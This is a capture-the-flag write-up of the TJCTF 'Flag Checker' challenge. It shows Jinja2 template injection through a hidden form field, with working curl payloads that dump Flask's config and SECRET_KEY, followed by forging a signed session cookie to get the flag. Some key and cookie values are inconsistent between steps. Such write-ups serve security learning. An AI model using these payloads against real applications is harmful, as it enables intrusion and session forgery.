# Flag CheckerWeb
## Challenge 
I made this [really cool flag checker](https://flag_checker.tjctf.org/)! The only way to get in is to guess the flag because I made it super secure... at least I hope I did.
## Solution
After looking around the page, I realised there is a hidden `csrfmiddlewaretoken`.
    $ curl -s 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken=HELLOWORLD" | grep csrfmiddlewaretoken            <input type="hidden" name="csrfmiddlewaretoken" value="HELLOWORLD" />
And trying out some different text injection payloads, I found out Jinja2 `{{ 7*'7' }}` will show us this
	$ curl -s 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken={{ 7*'7' }}" | grep csrfmiddlewaretoken
        <input type="hidden" name="csrfmiddlewaretoken" value="7777777" />
This is a Jinja Flask Template Injection
References:- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#basic-injection- https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti- http://flask.pocoo.org/docs/1.0/templating/#standard-context
---
Trying out different payloads
    {{url_for.__globals__}}    {{url_for.__globals__.os.__dict__}}    {{request.url[23:]}}    {{config}}
And then I realised that {{config}} has something interesting
    $ curl 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken={{config}}"
    <input type="hidden" name="csrfmiddlewaretoken" value="<Config {'TRAP_BAD_REQUEST_ERRORS': None, 'SESSION_COOKIE_DOMAIN': False, 'TRAP_HTTP_EXCEPTIONS': False, 'SESSION_REFRESH_EACH_REQUEST': True, 'SERVER_NAME': None, 'PROPAGATE_EXCEPTIONS': None, 'DEBUG': False, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'JSONIFY_MIMETYPE': 'application/json', 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'SECRET_KEY': b'\xd2zX\xe6|S\x90\xc3xi\x88l\x18\xe6zP', 'ENV': 'production', 'JSON_AS_ASCII': True, 'MAX_CONTENT_LENGTH': None, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'USE_X_SENDFILE': False, 'SESSION_COOKIE_PATH': None, 'MAX_COOKIE_SIZE': 4093, 'APPLICATION_ROOT': '/', 'TEMPLATES_AUTO_RELOAD': None, 'PREFERRED_URL_SCHEME': 'http', 'SESSION_COOKIE_HTTPONLY': True, 'TESTING': False, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'SESSION_COOKIE_SECURE': False, 'JSON_SORT_KEYS': True, 'SESSION_COOKIE_NAME': 'session', 'EXPLAIN_TEMPLATE_LOADING': False, 'SESSION_COOKIE_SAMESITE': None}>" />
Look carefully, there is a 'SECRET_KEY' entry. Select it
    $ curl 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken={{config['SECRET_KEY']}}"
    <input type="hidden" name="csrfmiddlewaretoken" value="b'\x8eW^\xf6,\x10HW\xe1\xa9\x9f\xc8\xa7\xbd\x9ew'" />
And we retrieved the key
    SECRET_KEY = '\xd2zX\xe6|S\x90\xc3xi\x88l\x18\xe6zP'
Now, if we do a curl -v, we can see a cookie..
    $ curl -v 'https://flag_checker.tjctf.org/' --data "flag=&csrfmiddlewaretoken={{config['SECRET_KEY']}}"    < set-cookie: session=eyJoYXNfZmxhZyI6ZmFsc2V9.XKnI9A.vNOsL9z4Zc1QwuRbeQjrxKd9UyA; HttpOnly; Path=/
With the secret_key, we are able to decode and re-encode the session cookie:
References:- https://stackoverflow.com/a/27287455- https://stackoverflow.com/questions/22463939/demystify-flask-app-secret-key?lq=1- https://terryvogelsang.tech/MITRECTF2018-my-flask-app/
---
Using this [Github Gist by @aescalana](https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe)
Decode the cookie using this code
    secret = '\xd2zX\xe6|S\x90\xc3xi\x88l\x18\xe6zP'    cookie = "eyJoYXNfZmxhZyI6ZmFsc2V9.XKnI9A.vNOsL9z4Zc1QwuRbeQjrxKd9UyA"    session = decodeFlaskCookie(secret, cookie)    print 'Decoded original cookie:', session
This prints the following
    $ python cookie_decode.py     Decoded original cookie: {u'has_flag': False}
Now, we modify the session cookie to get the flag using this code
    session['has_flag'] = True    cookie = encodeFlaskCookie(secret, session)    print 'Decoded new cookie:', decodeFlaskCookie(secret, cookie)    print 'New cookie:', cookie
This prints our modified cookie
    $ python cookie_decode.py     Decoded original cookie: {u'has_flag': False}    Decoded new cookie: {u'has_flag': True}    New cookie: eyJoYXNfZmxhZyI6dHJ1ZX0.XKnKvg.kr7eaxh9wJayZLy-txEPm148bw0
Pass the cookie to the server and we get the flag!
    $ curl         -v 'https://flag_checker.tjctf.org/'        --data "flag=a"        --cookie "session=eyJoYXNfZmxhZyI6dHJ1ZX0.XKnKMQ.PkbXcTzvyG3A-L6DFIm3nVDfatM"          How did you guess that it was tjctf{t3mpl4te_inj3ct10n_is_f4k3_n3w5}? 
        How did you guess that it was tjctf{t3mpl4te_inj3ct10n_is_f4k3_n3w5}? 
## Flag
	tjctf{t3mpl4te_inj3ct10n_is_f4k3_n3w5}
Other related references:
- https://ctftime.org/writeup/11014- https://medium.com/bugbountywriteup/tokyowesterns-ctf-4th-2018-writeup-part-3-1c8510dfad3f- https://github.com/bl4de/ctf/blob/master/2017/ASIS_CTF_2017/Golem/Golem_Web_writeup.md- https://stackoverflow.com/questions/2877110/python-new-style-classes-and-subclasses-function- https://github.com/EmpireCTF/empirectf/blob/master/writeups/2018-09-01-TokyoWesterners-CTF/README.md- https://hexplo.it/post/escaping-the-csawctf-python-sandbox/